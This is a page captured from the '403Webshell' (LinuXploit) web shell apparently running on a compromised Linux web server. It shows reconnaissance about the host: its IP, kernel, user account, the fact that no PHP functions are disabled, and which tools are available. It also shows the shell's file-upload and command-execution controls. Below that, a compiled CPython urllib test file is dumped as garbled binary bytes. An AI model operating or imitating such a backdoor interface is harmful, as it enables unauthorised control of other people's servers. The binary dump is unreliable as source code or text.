403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_urllib2_localnet.cpython-36.pyc
3

x2_�a�
@s�ddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZejd�Z
yddlZWnek
rzdZYnXejje�Zejjed�Zejjed�ZGdd�dejj�ZGdd	�d	e
j�ZGd
d�d�ZGdd
�d
ejj�ZGdd�dejj�Zej e
d�Gdd�dej!��Z"ej e
d�Gdd�dej!��Z#dd�Z$ej e
d�Gdd�dej!��Z%da&dd�Z'dd�Z(e)dk�r�ej*�dS)�N)�support�	threadingzkeycert.pemzkeycert2.pemc@s eZdZdZdd�Zdd�ZdS)�LoopbackHttpServerz^HTTP server w/ a few modifications that make it useful for
    loopback testing purposes.
    cCs"tjjj|||�|jjd�dS)Ng�������?)�http�server�
HTTPServer�__init__�socket�
settimeout)�selfZserver_addressZRequestHandlerClass�r�?/opt/alt/python36/lib64/python3.6/test/test_urllib2_localnet.pyr!s
zLoopbackHttpServer.__init__cCs |jj�\}}|jd�||fS)zHTTPServer method, overridden.g$@)r	Zacceptr
)r�requestZclient_addressrrr
�get_request*s
zLoopbackHttpServer.get_requestN)�__name__�
__module__�__qualname__�__doc__rrrrrr
rs	rc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�LoopbackHttpServerThreadz2Stoppable thread that runs a loopback http server.cCs<tjj|�d|_tj�|_d|_td|�|_|jj	|_
dS)NFzHTTP/1.0�	127.0.0.1r)rr)r�Threadr�_stop_serverZEvent�readyZprotocol_versionr�httpdZserver_port�port)r�request_handlerrrr
r9s
z!LoopbackHttpServerThread.__init__cCsd|_|j�|jj�dS)z.Stops the webserver if it's currently running.TN)r�joinrZserver_close)rrrr
�stopBszLoopbackHttpServerThread.stopcCs$|jj�x|js|jj�qWdS)N)r�setrr�handle_request)rrrr
�runJs
zLoopbackHttpServerThread.runN)rrrrrrr rrrr
r6s	rc@sXeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�ZdS)�DigestAuthHandlerz-Handler for performing digest authentication.cCs"d|_g|_i|_d|_d|_dS)Nrz
Test Realm�auth)�_request_num�_nonces�_users�_realm_name�_qop)rrrr
rTs
zDigestAuthHandler.__init__cCs
||_dS)N)r')rZqoprrr
�set_qop[szDigestAuthHandler.set_qopcCst|t�st�||_dS)N)�
isinstance�dict�AssertionErrorr%)rZusersrrr
�	set_users^szDigestAuthHandler.set_userscCs
||_dS)N)r&)rZrealmrrr
�	set_realmbszDigestAuthHandler.set_realmcCs8|jd7_tjt|j�jd��j�}|jj|�|S)N��ascii)r#�hashlib�md5�str�encode�	hexdigestr$�append)r�noncerrr
�_generate_nonceesz!DigestAuthHandler._generate_noncecCs�|jd�}||dd�}|jd�}i}xX|D]P}|jd�\}}|j�}|ddkrn|ddkrn|dd�}n|j�}|||<q.W|S)	N� r.�,�=r�"���r<)�find�split�strip)rZauth_strZfirst_space_index�parts�	auth_dict�part�name�valuerrr
�_create_auth_dictks


z#DigestAuthHandler._create_auth_dictcCs�i}|j|�||d<||d<||d<d|}tj|jd��j�}d|}tj|jd��j�}	||d<|	|d<d	|}
tj|
jd��j�}||d
kS)N�password�method�uriz#%(username)s:%(realm)s:%(password)sr/z%(method)s:%(uri)s�HA1�HA2z3%(HA1)s:%(nonce)s:%(nc)s:%(cnonce)s:%(qop)s:%(HA2)s�response)�updater0r1r3r4)rrArFrGrHZ
final_dictZHA1_strrIZHA2_strrJZresponse_strrKrrr
�_validate_auth|s
z DigestAuthHandler._validate_authcCsN|jdd�|jdd�|jdd|j|j|j�f�|j�|jjd�dS)	Ni�zProxy Authentication RequiredzContent-Typez	text/htmlzProxy-Authenticatez(Digest realm="%s", qop="%s",nonce="%s", sProxy Authentication Required.F)�
send_response�send_headerr&r'r7�end_headers�wfile�write)rrrrr
�_return_auth_challenge�sz(DigestAuthHandler._return_auth_challengecCs�t|j�dkrdSd|jkr&|j|�S|j|jd�}|d|jkrT|j|d}n
|j|�S|jd�|jkrx|j|�S|jj|d�d}x*|j|j	gD]}|j
|||j|�r�d}q�W|s�|j|�SdSdS)aPerforms digest authentication on the given HTTP request
        handler.  Returns True if authentication was successful, False
        otherwise.

        If no users have been set, then digest auth is effectively
        disabled and this method will always return True.
        rTzProxy-AuthorizationZusernamer6FN)�lenr%�headersrSrE�getr$�remove�path�
short_pathrMZcommand)rrrArFZauth_validatedrXrrr
r�s,	




z DigestAuthHandler.handle_requestN)
rrrrrr(r,r-r7rErMrSrrrrr
r!Qsr!c@sfeZdZdZdZdZdZdeefZej	ej
d��jd�Zdd�Z
d	d
�Zdd�Zd
d�Zdd�ZdS)�BasicAuthHandlerz,Handler for performing basic authentication.�testUser�testPass�Testz%s:%sr/cOstjjj|f|�|�dS)N)rr�BaseHTTPRequestHandlerr)r�args�kwargsrrr
r�szBasicAuthHandler.__init__cGsdS)Nr)r�formatr_rrr
�log_message�szBasicAuthHandler.log_messagecCs"|jd�|jdd�|j�dS)N��zContent-typez	text/html)rNrOrP)rrrr
�do_HEAD�s
zBasicAuthHandler.do_HEADcCs4|jd�|jdd|j�|jdd�|j�dS)Ni�zWWW-AuthenticatezBasic realm="%s"zContent-typez	text/html)rNrO�REALMrP)rrrr
�do_AUTHHEAD�s
zBasicAuthHandler.do_AUTHHEADcCsh|jjdd�s$|j�|jjd�n@|jjdd�d|jkr\|jd�|j�|jjd�n|j�dS)NZ
Authorization�sNo Auth header receivedzBasic rcsIt works)rUrVrfrQrR�ENCODED_AUTHrNrP)rrrr
�do_GET�s
zBasicAuthHandler.do_GETN)rrrr�USER�PASSWDreZUSER_PASSWD�base64Z	b64encoder3�decoderhrrbrdrfrirrrr
rZ�srZc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�FakeProxyHandlerz�This is a 'fake proxy' that makes it look like the entire
    internet has gone down due to a sudden zombie invasion.  It main
    utility is in providing us with authentication support for
    testing.
    cOs ||_tjjj|f|�|�dS)N)�digest_auth_handlerrrr^r)rror_r`rrr
r�szFakeProxyHandler.__init__cGsdS)Nr)rrar_rrr
rbszFakeProxyHandler.log_messagecCsvtjj|jd�\}}}}}}||_|jj|�rr|jdd�|jdd�|j	�|j
jtd|jd��|j
jd�dS)	NrrcZOKzContent-Typez	text/htmlzYou've reached %s!<BR>r/sFOur apologies, but our server is down due to a sudden zombie invasion.)
�urllib�parseZurlparserXrYrorrNrOrPrQrR�bytes)rZscmZnetlocrXZparamsZqueryZfragmentrrr
riszFakeProxyHandler.do_GETN)rrrrrrbrirrrr
rn�srnz!Threading required for this test.csPeZdZdZdZdZdZ�fdd�Zdd�Z�fd	d
�Z	dd�Z
d
d�Z�ZS)�BasicAuthTestsr[r\Z	Incorrectr]csTtt|�j�dd�}t|�|_|j|j�d|jj|_|jj	�|jj
j�dS)Nc_s
t||�S)N)rZ)r_r`rrr
�#http_server_with_basic_auth_handler!szABasicAuthTests.setUp.<locals>.http_server_with_basic_auth_handlerzhttp://127.0.0.1:%s)�superrs�setUprr�
addCleanup�stop_serverr�
server_url�startr�wait)rrt)�	__class__rr
rvs

zBasicAuthTests.setUpcCs|jj�d|_dS)N)rr)rrrr
rx)s
zBasicAuthTests.stop_servercstt|�j�dS)N)rurs�tearDown)r)r|rr
r}-szBasicAuthTests.tearDowncCs|tjj�}|j|j|j|j|j�tjjtjj	|��y|j
tjj|j��Wn(tjj
k
rv|jd|j�YnXdS)Nz!Basic auth failed for the url: %s)rpr�HTTPBasicAuthHandler�add_passwordreryrjrk�install_opener�build_opener�
assertTrue�urlopen�error�	HTTPError�fail)r�ahrrr
�test_basic_auth_success0s
z&BasicAuthTests.test_basic_auth_successcCsRtjj�}|j|j|j|j|j�tjjtjj	|��|j
tjjtjj
|j�dS)N)rprr~rreryrj�INCORRECT_PASSWDr�r��assertRaisesr�r�r�)rr�rrr
�test_basic_auth_httperror9s
z(BasicAuthTests.test_basic_auth_httperror)
rrrrjrkr�rervrxr}r�r��
__classcell__rr)r|r
rss	rscsTeZdZdZdZdZdZ�fdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Z�Z
S)�ProxyAuthTestszhttp://localhostZtesterZtest123Z	TestRealmcs�tt��j�dd�}�j|tjj��dtjd<dtjd<t��_�jj	�j
�ji��jj�j
��fdd�}t|��_�j�j��jj��jjj�d�jj}tjjd	|i�}tjj��_tjj|�j��_dS)
NcSstjj�tjj|�dS)N)�os�environ�clearrL)�old_environrrr
�restore_environKs
z-ProxyAuthTests.setUp.<locals>.restore_environrg�NO_PROXY�no_proxycst�jf|�|�S)N)rnro)r_r`)rrr
�create_fake_proxy_handlerVsz7ProxyAuthTests.setUp.<locals>.create_fake_proxy_handlerzhttp://127.0.0.1:%dr)rur�rvrwr�r��copyr!ror,rjrkr-rerrrxrzrr{rrprZProxyHandlerZProxyDigestAuthHandler�proxy_digest_handlerr��opener)rr�r�Z	proxy_url�handler)r|)rr
rvHs$



zProxyAuthTests.setUpcCs|jj�d|_dS)N)rr)rrrr
rxcs
zProxyAuthTests.stop_servercCsF|jj|j|j|j|jd�|jjd�|jt	j
j|jj
|j�dS)NZbadr")r�rre�URLrjrkror(r�rpr�r�r��open)rrrr
�-test_proxy_with_bad_password_raises_httperrorgs
z<ProxyAuthTests.test_proxy_with_bad_password_raises_httperrorcCs(|jjd�|jtjj|jj|j�dS)Nr")	ror(r�rpr�r�r�r�r�)rrrr
�,test_proxy_with_no_password_raises_httperroros
z;ProxyAuthTests.test_proxy_with_no_password_raises_httperrorcCsN|jj|j|j|j|j�|jjd�|jj	|j�}x|j
�r@q6W|j�dS)Nr")r�rrer�rjrkror(r�r��read�close)r�resultrrr
�test_proxy_qop_auth_worksus
z(ProxyAuthTests.test_proxy_qop_auth_workscCst|jj|j|j|j|j�|jjd�y|jj	|j�}Wnt
jjk
rTd}YnX|rpx|j
�rfq\W|j�dS)Nzauth-int)r�rrer�rjrkror(r�r�rpr��URLErrorr�r�)rr�rrr
�0test_proxy_qop_auth_int_works_or_throws_urlerror~s

z?ProxyAuthTests.test_proxy_qop_auth_int_works_or_throws_urlerror)rrrr�rjrkrervrxr�r�r�r�r�rr)r|r
r�@s	r�csG��fdd�dtjj���S)NcsBeZdZdZgZgZdZdd�Zdd�Z��fdd�Z	d	d
�Z
dS)z1GetRequestHandler.<locals>.FakeHTTPRequestHandlerz	TestHTTP/�PcSs.|j�}x |r(|jj|�}||d�}q
WdS)N)�	send_headrQrR)r�body�donerrr
ri�sz8GetRequestHandler.<locals>.FakeHTTPRequestHandler.do_GETcSs2|jd}|jjt|��}|j�|jj|�dS)NzContent-Length)rUZrfiler��intri�requestsr5)rZcontent_lengthZ	post_datarrr
�do_POST�s
z9GetRequestHandler.<locals>.FakeHTTPRequestHandler.do_POSTcs�|j�_|jj|j��jd�\}}}|j|�x&|D]\}}|j||d|ji�q6W|rt|jdd�|j	�|S|j	�dS)NrrzContent-typez
text/plain)
rU�headers_receivedr�r5rX�poprNrOrrP)rZ
response_coderUr��headerrD)�FakeHTTPRequestHandler�	responsesrr
r��s
z;GetRequestHandler.<locals>.FakeHTTPRequestHandler.send_headcWsdS)Nr)rr_rrr
rb�sz=GetRequestHandler.<locals>.FakeHTTPRequestHandler.log_messageN)rrrZserver_versionr�r�rrir�r�rbr)r�r�rr
r��sr�)rrr^)r�r)r�r�r
�GetRequestHandler�s&r�cs�eZdZdZ�fdd�Zd+dd�Zdd�Zd,d	d
�Zd-dd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Z�ZS).�TestUrlopenaNTests urllib.request.urlopen using the network.

    These tests are not exhaustive.  Assuming that testing using files does a
    good job overall of some of the basic interface features.  There are no
    tests exercising the optional 'data' and 'proxies' arguments.  No tests
    for transparent redirection have been written.
    cs@tt|�j�dd�}|j|tjj��dtjd<dtjd<dS)NcSstjj�tjj|�dS)N)r�r�r�rL)r�rrr
r��s
z*TestUrlopen.setUp.<locals>.restore_environ�*r�r�)rur�rvrwr�r�r�)rr�)r|rr
rv�s

zTestUrlopen.setUpNc
Kslg}tjj||f|�}z@|j|jd��|j|j��|j|jd��|j|j��Wd|j�Xdj	|�S)Nrci�)
rprr��extend�	readlinesr5�readliner�r�r)r�url�datar`�l�frrr
r��s
zTestUrlopen.urlopencCs|jj�d|_dS)N)rr)rrrr
rx�s
zTestUrlopen.stop_servercCsZ|dkrdgdfg}t|�}t|�|_|j|j�|jj�|jjj�|jj}||_|S)Nrcs
we don't care)	r�rrrwrxrzrr{r)rr�r�rrrr
�start_server�s

zTestUrlopen.start_servercKs^ttjd�s|jd�ddlm}|dkr6dgdfg}t|�}||fd|i|��}|j|_|S)NZHTTPSHandlerzssl support requiredr)�make_https_serverrcs
we care a bitZ
handler_class)�hasattrrpr�skipTestZtest.ssl_serversr�r�r)rr�r`r�r�rrrr
�start_https_server�s
zTestUrlopen.start_https_servercCsVd}dd
gdfdg|fg}|j|�}|jd|j�}|j||�|j|jdd	g�dS)NsWe got here...i.�Location�(http://localhost:%(port)s/somewhere_elsergrczhttp://localhost:%s/�/z/somewhere_else)r�r�)r�r�r�assertEqualr�)r�expected_responser�r�r�rrr
�test_redirection�s
zTestUrlopen.test_redirectioncCs@d}d}ddg|fg}|j|�}|jd|j�}|j||�dS)Nshello worldsa
hello worl
1
d
0
rc�Transfer-Encoding�chunkedzhttp://localhost:%s/)r�r�)r�r�rr�)rr�Z
chunked_startrKr�r�rrr
�test_chunkeds
zTestUrlopen.test_chunkedcCs�d}|jdg|fg�}y|jd|j�Wn6tjjk
r`}z|j�}|j�WYdd}~XnX|jd�|j	||�|j	|j
dg�dS)NsBad bad bad...i�zhttp://localhost:%s/weeblez404 should raise URLErrorz/weeble)r�r�rrpr�r�r�r�r�r�r�)rr�r�r�r�rrr
�test_404s
zTestUrlopen.test_404cCsFd}|jdg|fg�}|jd|j�}|j||�|j|jdg�dS)Ns
pycon 2008...rczhttp://localhost:%s/bizarrez/bizarre)r�r�rr�r�)rr�r�r�rrr
�test_200"s
zTestUrlopen.test_200cCsJd}|jdg|fg�}|jd|jd�}|j||�|j|jddg�dS)Ns
pycon 2008...rczhttp://localhost:%s/bizarresget=with_feelingz/bizarre)r�r�rr�r�)rr�r�r�rrr
�test_200_with_parameters)sz$TestUrlopen.test_200_with_parameterscCs8|j�}tjtd�}|jd|j|d�}|j|d�dS)N)�cafilezhttps://localhost:%s/bizarre)�contexts
we care a bit)r��ssl�create_default_context�CERT_localhostr�rr�)rr�r�r�rrr
�
test_https1szTestUrlopen.test_httpscCs�|jtd�}tjdtf���|jd|jtd�}|j|d�|jt	j
j��}|jd|jtd�WdQRX|jtd�}|jt
j��}|jd|jtd�WdQRXWdQRXdS)N)�certfilergzhttps://localhost:%s/bizarre)r�s
we care a bit)r�r�r�check_warnings�DeprecationWarningr�rr�r�rpr�r��CERT_fakehostnamer�ZCertificateError)rr�r��cmrrr
�test_https_with_cafile7sz"TestUrlopen.test_https_with_cafilecCsX|jtd�}tjdtf��4|jtjj��}|j	d|j
dd�WdQRXWdQRXdS)N)r�rgzhttps://localhost:%s/bizarreT)Z	cadefault)r�r�rr�r�r�rpr�r�r�r)rr�r�rrr
�test_https_with_cadefaultHs
z%TestUrlopen.test_https_with_cadefaultcs�tdkr|jd�tjs"|jd�d��fdd�}tjtj�}|j|�|j|td�}tjtd�}|j	d|j
|d�|j�d	�dS)
Nzssl module requiredzSNI support required in OpenSSLcs|�dS)Nr)Zssl_sockZserver_nameZinitial_context)�sni_namerr
�cb_sniVsz*TestUrlopen.test_https_sni.<locals>.cb_sni)r�r�)r�zhttps://localhost:%s)r�Z	localhost)r�r�ZHAS_SNIZ
SSLContextZPROTOCOL_TLSZset_servername_callbackr�r�r�r�rr�)rr�r�r�r)r�r
�test_https_sniPs


zTestUrlopen.test_https_snic
CsP|j�}tjjd|jddid�}tjj|��WdQRX|j|jdd�dS)Nzhttp://localhost:%s/ZRangezbytes=20-39)rU)r�rprZRequestrr�r�r�)rr�Zreqrrr
�test_sending_headers`s
z TestUrlopen.test_sending_headersc
Csb|j�}tjjd|j�}x"dD]}|jt||�d|�q Wz|j|j�d�Wd|j�XdS)	Nzhttp://localhost:%sr�r��info�geturlz3object returned from urlopen lacks the %s attributezcalling 'read' failed)r�r�r�r�)	r�rprr�rr�r�r�r�)rr��open_url�attrrrr
�
test_basichs
zTestUrlopen.test_basiccCsX|j�}tjjd|j�}|�|j�}WdQRX|j|tjj	d�|j
|j�d�dS)Nzhttp://localhost:%szEobject returned by 'info' is not an instance of email.message.MessageZplain)r�rprr�rr�ZassertIsInstance�email�messageZMessager�Zget_content_subtype)rr�r�Zinfo_objrrr
�	test_infosszTestUrlopen.test_infocCsH|j�}tjjd|j�}|�|j�}WdQRX|j|d|j�dS)Nzhttp://localhost:%s)r�rprr�rr�r�)rr�r�r�rrr
�test_geturl~s
zTestUrlopen.test_geturlcCsFd}|jdg|fg�}tjjd|j�}x|D]}|j||�q.WdS)Ns
pycon 2008...rczhttp://localhost:%s)r�rprr�rr�)rr�r�r��linerrr
�test_iteration�s

zTestUrlopen.test_iterationc	Cs�ddddddg}dj|�}|jdg|fg�}tjjd	|j�}x<t|�D]0\}}|j|||d
|t||�t|�f�qLW|j|dt|��dS)NsWe
sgot
shere
s	verylong i �
r�rczhttp://localhost:%szQFetched line number %s doesn't match expected:
    Expected length was %s, got %sr.)	rr�rprr�r�	enumerater�rT)r�linesr�r�r��indexr�rrr
�test_line_iteration�s
zTestUrlopen.test_line_iteration)N)N)N)rrrrrvr�rxr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr)r|r
r��s*




r�cCstj�adS)N)rZthreading_setup�threads_keyrrrr
�setUpModule�sr�cCstrtjt�dS)N)r�rZthreading_cleanuprrrr
�tearDownModule�sr��__main__)+rlr�r�Zurllib.parserpZurllib.requestZhttp.serverrZunittestr0Ztestr�
import_modulerr��ImportErrorrX�dirname�__file__�hererr�r�rrrrrr!r^rZrnZ
skipUnlessZTestCasersr�r�r�r�r�r�r�mainrrrr
�<module>sD

y,!
(
N+
`


Youez - 2016 - github.com/yon3zu
LinuXploit